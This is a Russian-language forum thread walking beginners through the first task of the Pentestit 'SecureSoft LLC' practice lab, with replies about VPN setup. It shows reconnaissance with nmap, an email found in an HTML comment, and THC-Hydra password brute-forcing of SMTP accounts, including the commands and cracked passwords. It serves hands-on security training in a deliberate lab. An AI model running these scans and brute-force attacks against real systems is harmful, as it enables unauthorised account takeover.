Приветствую вас хабражители друзья. С 1 мая открыт доступ к данной лабе для всех желающих, лаба бесплатная и закрываться пока не собирается. На самом деле я думал "новички" обратят на нее внимание, но темы в песочнице не нашел Хотя времени с момента старта прошло не мало. Друзья, предлагаю присоединиться к прохождению. Сертификат конечно уже ни кто не получит, поезд ушел , но почему бы не попрактиковаться в "боевых" условиях? Линк на регистрацию: https://lab.pentestit.ru/ P.S. От себя лично, могу помочь в настройке виртуалки с кали и подключения к лабе, ну и общие подсказки по прохождению (правда сам еще не все прошел). Прохождение с объяснениями (осторожно спойлеры) По скольку первая часть прохождения уже опубликована в сети, то, возможно, имеет смысл повторить ее на форуме, но немного дополнив подробностями, если кто то решит помочь - велкам, добавлю в первый пост. И так, начнем. Главное правило - объяснять каждый шаг, что бы даже "те кто в танке" достигли просвятления! После установки/настройки кали мы должны подключиться к лаборатории по vpn (как настроить кали и подключиться рассказано в этом видео так, что повторяться тут не буду. За видео скажите спасибо xelario). Теперь нужно осмотреться и собрать информацию. Ведь хакинг, ИМХО, это по большей части сбор и анализ информации и этим мы будем заниматься постоянно. Любой пентест начинается именно с того, что мы собираем информацию! Но сбор информации, как вы знаете, бывает разный. Разделим его на: 1. Технические способы сбора - т.е. при помощи компьютера, телефона, калькулятора с получением доступа к каким-либо ресурсам или с помощью ПО которе выдает информацию не доступную из открытых источников. =) 2. Не технические - т.е. сбор информации из публикаций в интернете, журналах, рассказах о нашей цели по телевизору, радио, лично от сотрудников. Начнем со второго. В легенде написано следующее: At this time you, professional hackers, must make a hacking of the real network of the virtual company "SecureSoft LLC", a software development. Complicating the situation is the fact high awareness in the field of information security of the company's employees. According to an agent's report of the state of the information security, IT-structure of the "SecureSoft LLC" fairly well protected from attacks. But there is a guess that vulnerabilities exist. Your goal - to discover the "Achilles heel" first and gain access to systems of the "SecureSoft LLC". Перевод: На этот раз вам, профессиональным хакерам, предстоит произвести взлом реальной сети виртуальной компании «SecureSoft LLC», занимающейся разработкой программного обеспечения. Ситуацию усложняет факт высокой осведомленности в области ИБ сотрудников компании. Согласно отчету наших агентов о состоянии информационной безопасности компании, ИТ-структура «SecureSoft LLC» достаточно хорошо защищена от атак. Однако, есть предположение, что уязвимые места все же имеются. Ваша цель — первыми обнаружить «Ахиллесову пяту» и получить доступ к системам «SecureSoft LLC». Что же интересного мы можем узнать? Ну, во первых ломать мы будем не частное лицо, а некую организацию, а значит, мы уже можем предположить, что у них могут быть своя корпоративная электропочта и "стандартизированные" емейлы, ещё какие-нибудь корпоративные ресурсы или что-то подобное. Организация "высоко осведомлена в области ИБ" т.е. защита хорошая (но это прямо в легенде написано - ваш Кеп ). Первое что приходит на ум - известен IP, так что с него и начнем. Открываем браузер и ..... видим сайт по этому адресу. Внезапно, не правда-ли? Что нам может дать сайт. Ну, на самом деле много, но обо всем по порядку. В первую очередь осматриваем его визуально, залезаем на все его странички и т.д. Ищем что-нибудь полезное. Но находим только пасхалочку в виде надписи: Welcome to our testlab =) glad to see you перевод: Добро пожаловать в нашу лабораторию =) рады видеть Вас Еще видим поля для ввода, т.е. возможно существут уязвимости XSS и т.д. но пока нам это не интересно. Давайте лучше посмотрим на страничку "изнутри", открываем в html редакторе. Спрятал под спойлер, так как много текста =) Spoiler <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta content="true" name="mssmarttagspreventparsing" /> <meta http-equiv="imagetoolbar" content="no" /> <title>Test.lab</title> <link href="css/style.css" rel="stylesheet" type="text/css" /> <!-- IE fixes --> <!--[if IE 7]> <style type="text/css"> #logo {top:50px;} #menu {margin:50px 0 0 500px;} </style> <![endif]--> <!--[if lte IE 6]> <style type="text/css"> #hdl {margin:0px 0 0 250px;} #logo {top:50px;} #menu {margin:50px 0 0 500px;} </style> <script src="js/DD_belatedPNG_0.0.7a-min.js" type="text/javascript"></script> <script type="text/javascript"> DD_belatedPNG.fix('#logo, .mh, .mw, .mt, .mi, .rss_twitt, .rss, #TwitterCounter, .pop_posts'); </script> <![endif]--> <script type="text/javascript"> /* * Simple JS function for setting the search value */ function clS(t){ var srch = document.getElementById('s'), val = srch.value.toString().toLowerCase(), re = /^\s+$/; if(t) { if(val == 'Search' || val == 'search'){ srch.value = ''; } } else { if(val == 'Search' || val == 'search' || val == '' || re.test(val)) { srch.value = 'Search'; } } } </script> </head> <body> <!-- Wrap Div --> <div id="wrap"> <!-- Header --> <div id="hdr"> <!-- Top Menu --> <div id="hdl"> </div> <!-- Search form --> <form id="search_form" method="get" action=""> <input class="search_field" type="text" value="Search" onfocus="clS(1);" onblur="clS(0);" name="s" id="s" /> <input class="search_button" type="submit" value="" id="searchsubmit" /> </form> <!-- Logo --> <div id="logo"> <a href="index.php"></a> </div> <!-- Main Menu --> <div id="menu"> </div> </div> <!-- Container --> <div id="cnt"> <!-- Left Container --> <div id="lcnt"> <!-- Post --> <div class="post"> <!-- Post Details --> <div class="post_inf"> <span>October 13</span><br /> </div> <div> <h1><a href=''>Third state</a></h1><img src='images/art_pic1.jpg' alt='art_pic1' /><p>Welcome to our testlab =) glad to see you</p> </div> </div> <h2>Post your comments</h2> <!-- Comment Form --> <form id="cmnt_frm" method="post" action=""> <p><input type="text" name="author" size="22" tabindex="1" id="author"/><label>Name <span>(required)</span></label></p> <p><input type="text" name="email" size="22" tabindex="2" id="email"/><label>Mail <span>(will not be published) (required)</span></label></p> <p><input type="text" name="url" size="22" tabindex="3" id="url"/><label>Website</label></p> <p> <textarea name="comment" cols="65" rows="10" tabindex="4" id="comment"></textarea> </p> <p> <input type="submit" name="submit" value="Post comment" tabindex="5" id="submit"/> </p> </form> </div> <!-- Right Container --> <div id="rcnt"> <div class="rss_twitt"> <!-- RSS Box --> <a href="http://feeds.feedburner.com/DryIconsFreeGraphics" class="rss"><img height="26" width="88" alt="" style="border: 0pt none ;" src="http://feeds.feedburner.com/~fc/DryIconsFreeGraphics?bg=DEDEDC&fg=444444&anim=0"/></a> <!-- Twitter Counter Box --> <script type="text/javascript" language="JavaScript" src="http://twittercounter.com/embed/dryicons/444444/DEDEDE"></script> </div> <!-- Sponsored Ads --> <h2>Sponsored Ads</h2> <div class="l_lnk"> <a href="#"><img src="images/sponsor_ads1.jpg" alt="spon_ad_1" /></a> <a href="#"><img src="images/sponsor_ads2.jpg" alt="spon_ad_2" /></a> <a href="#"><img src="images/sponsor_ads3.jpg" alt="spon_ad_3" /></a> <div> <a target="_blank" href="http://dryicons.com/advertise">Advertise Here</a> </div> </div> <!-- Popular Wallpapers --> <h2>Popular Wallpapers</h2> <a class="wall" href="#"><img src="images/pop_wall1.jpg" alt="pop_wall_1" /></a> <a class="wall" href="#"><img src="images/pop_wall2.jpg" alt="pop_wall_2" /></a> <!-- Popular Posts --> <h2>Popular Posts</h2> <a class="pop_posts" href="#">Logo Design Process Tutorial</a> <a class="pop_posts" href="#">Great use of pop music in great films</a> <a class="pop_posts" href="#">Icon design tutorial: How to make a Calendar icon</a> <a class="pop_posts" href="#">1st Anniversary and Graphics Giveaway Winners</a> <a class="pop_posts" href="#">Smashing Magazine and DryIcons collaboration</a> </div> <br style="clear: both;"/> </div> </div> <!-- Footer --> <div id="foo"> <!-- Footer Container --> <div id="foo_d"> <!-- Footer Menu --> <div id="foo_menu"> </div> </div> </div> <!-- TASK --> <!-- add email --> <!-- [email protected] --> </body> </html> Заметили что-нибудт интересное? Ой,ой,ой что тут у нас, емейл адрес в самом низу. Очень глупо, ну да ладно, запишем в блокнотик. =) Остановимся пока на этом и перейдем к техническому сбору информации. C чего же начать, подумает новичек. И тут вспомнит, что есть такая програма Nmap. nmap — свободная утилита, предназначенная для разнообразного настраиваемого сканирования IP-сетей с любым количеством объектов, определения состояния объектов сканируемой сети (портов и соответствующих им служб) Все подробности ее использования есть в этом мануале (радуйтесь, он на русском). nmap уже есть в Кали, так что качать ни чего не придеться. Попробуем ей воспользоваться. Для этого вызовем эту утилиту и зададим ей адрес сканирования. Code: nmap 192.168.101.5 Видим следующее: Code: Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-08-16 19:06 MSK Nmap scan report for 192.168.101.5 Host is up (0.17s latency). Not shown: 993 filtered ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 443/tcp open https 8080/tcp open http-proxy 8100/tcp open xprint-server 8443/tcp open https-alt Отлично, есть открытые порты. Запишем в блокнотик =) но не будем останавливаться на достигнутом. По умолчанию, Nmap сканирует все порты до 1024 включительно, а также все порты с большими номерами упомянутыми в файле nmap-services для протокола, по которому идет сканирование (вот сылочка на русскоязычный мануал по Nmap, где это написано), но ведь может быть и так, что не только стандартные порты используются компанией SecureSoft LLC. По этому проверим первые 5000 портов, так, на всякий случай. Code: nmap 192.168.101.5 -p1-5000 Значение ключа -p задает диапазон портов, которые просканирует Nmap, т.е. в данном случае сканировать будет с 1 до 5000 порта. Посмотрим что это нам даст: Code: Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-08-17 00:16 MSK Nmap scan report for 192.168.101.5 Host is up (0.14s latency). Not shown: 4995 filtered ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 443/tcp open https 3121/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 62.34 seconds Ухты, мы нашли еще один открытый порт под номером 3121. Так же запишем в блокнотик. Теперь у нас есть много инфы. Давайте ее анализировать. Нет, я понимаю, что половина из вас уже догадалась о следующем шаге, но ведь это раздел для новичков, будем следовать правилу, что все нужно объяснить. И так, у нас есть емейл адрес и куча открытых портов. А помните я говорил, что у этой конторы может быть своя почта? Смотрите ка, а ведь и в правду, есть 25 smtp порт. К тому же емейл выглядит как [email protected], и состоит из имени и фамилии сотрудника через точку, да и почта действительно корпоративная, раз @securesoft.lab. Рискнем побрутить? Для брута будем использовать гидру, естесственно консольную, без гуя, мы же труЪ хакиры THC-Hydra - распараллеленый взломщик паролей к различным сервисам (FTP, POP3, IMAP, Telnet, HTTP Auth, NNTP, VNC, ICQ, PCNFS, CISCO и др.) для UNIX платформ. С помощью этой утилиты вы можете атаковать несколько сервисов одновременно. В основе программы лежит модульная структура. Сейчас с помощью гидры пароль можно подобрать к более чем 30 протоколам, включая telnet, ftp, http, https, smb, несколькими СУБД, и т.д. Кстати, THC-Hydra брутит и SSH, но для этого требуется наличие библиотеки libssh. - - это определение с секлаба, не знаю можно ли давать сылку на этот ресурс, так что гуглите сами. А пароли возьмем джоновские (имееться в виду словарь, который есть по умолчанию в программе John the Ripper) качать словарь не нужно, он уже есть в Кали, как и сама программа. Словарь лежит в директории John`а. Поехали: Code: hydra -l [email protected] -P /usr/share/john/password.lst smtp://192.168.101.5 Объясню ключи гидры, но вы и сами можете их узнать вызвав гидру (hydra) вообще без ключей. -l - указываем известный логин -P - путь к словарю с паролями smtp:// - сервис, который будем брутить, а после него известный IP`шник 192.168.101.5 Так как smtp на стандартном порту 25, то указывать порт отдельно не нужно. Теперь ждем некоторое время и ...... Code: Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2015-08-16 19:58:35 [INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal! [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 16 tasks per 1 server, overall 64 tasks, 3559 login tries (l:1/p:3559), ~3 tries per task [DATA] attacking service smtp on port 25 [STATUS] 349.00 tries/min, 349 tries in 00:01h, 3210 todo in 00:10h, 16 active [STATUS] 326.00 tries/min, 978 tries in 00:03h, 2581 todo in 00:08h, 16 active [25][smtp] host: 192.168.101.5 login: [email protected] password: 123qwe да не может быть. У человека работающего в ИТ, и "осведомленного в ИБ" пароль от почты 123qwe? Нет ,нет, нет, я отказываюсь в это верить. Но это правда жизни и такое на самом деле случается. В блокнотик пароль уже записали? Тогда продолжим. Применить полученные данные мы можем все по тому же адресу, но с другим портом, вы же не зря их записывали. Так что в строке адреса браузера пишем: Code: http://192.168.101.5:8100/ И видим веб интерфейс почты =) пробуем полученный логин и сбрученый пароль. Действительно подходит! Это хорошо. Внутри находим только одно письмо, но зато какое !!!! имена и фамилии сотрудников этой конторы. Проанализируем наши данные: мы знаем как формируеться логин для почты (имя.фамилия@securesoft.lab), а значит количество целей для брута многократно возрастает. Алгоритм следующий: формируем логин-лист, скармливаем гидре, ждем результат. Команда следующая: Code: hydra -L /home/login.txt -P /usr/share/john/password.lst smtp://192.168.101.5 Только на этот раз меняем ключ -l на -L, так как у нас не один логин, а целый набор. И указываем путь к сформированному нами файлу (login.txt). Гидра, через небольшой промежуток времени сообщит нам, что: Code: Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2015-08-16 20:20:49 [INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal! [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 16 tasks per 1 server, overall 64 tasks, 3559 login tries (l:1/p:3559), ~3 tries per task [DATA] attacking service smtp on port 25 [25][smtp] host: 192.168.101.5 login: [email protected] password: 1q2w3e 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2015-08-16 20:21:42 Я не верю своим глазам!!! Второй человек связанный с ИБ и пароль, который невозможно назвать сложным. Будем считать, что нам везет, у нас хорошая карма и вообще =) Проверяем почту и в сохраненных письмах находим заветный токен. Вводим его на сайте лаборатории и считаем себя королями мира и труЪ хацкерами. Но радуемся не долго, так как это только начало пути и первое задание из десяти. to be continued...
ок, могу заняться, если действительно нужно. Но боюсь, что я буду не оригинален, таких видео много =)
=) это с курсов ZS:A Кста в видео используеться вмвер воркстейшн, но на самом деле и на виртуалбоксе все норм пашет, так что, тут уж на ваш выбор.
нет, после регистрации, логин и пас будут вот на этой странице https://lab.pentestit.ru/how-to-connect
так, я кажеться понял в чем ту тебя трабла. Ты создал 3 файла: lab.ovpn pass.txt и ovpn.sh затем в консоли выполняешь Code: sh /opt/pentestit/ovpn.sh консоль тебе отвечает Code: Initialization Sequence Completed На этом все =) Доступ к 192.168.101.5 у тебя есть, а вот подключиться по ssh это уже одно из заданий лаборатории =)
если завтра будет время , могу запилить видео все-таки, оаз вопросы по подключению остаются, но, ИМХО, оно того не стоит, должно быть все понятно и так
Code: root@kali : /opt/pentestit# ./ovpn.sh bash: ./ovpn.sh:Permission denied вот что у меня. Если это задание лабы, то лучше скажи сразу
Ну как так получилось nmap 192.168.101.5 -p1-5000 Code: Ухты, мы нашли еще один открытый порт под номером 8443 увидел порт 8080, 8100, 8443 ?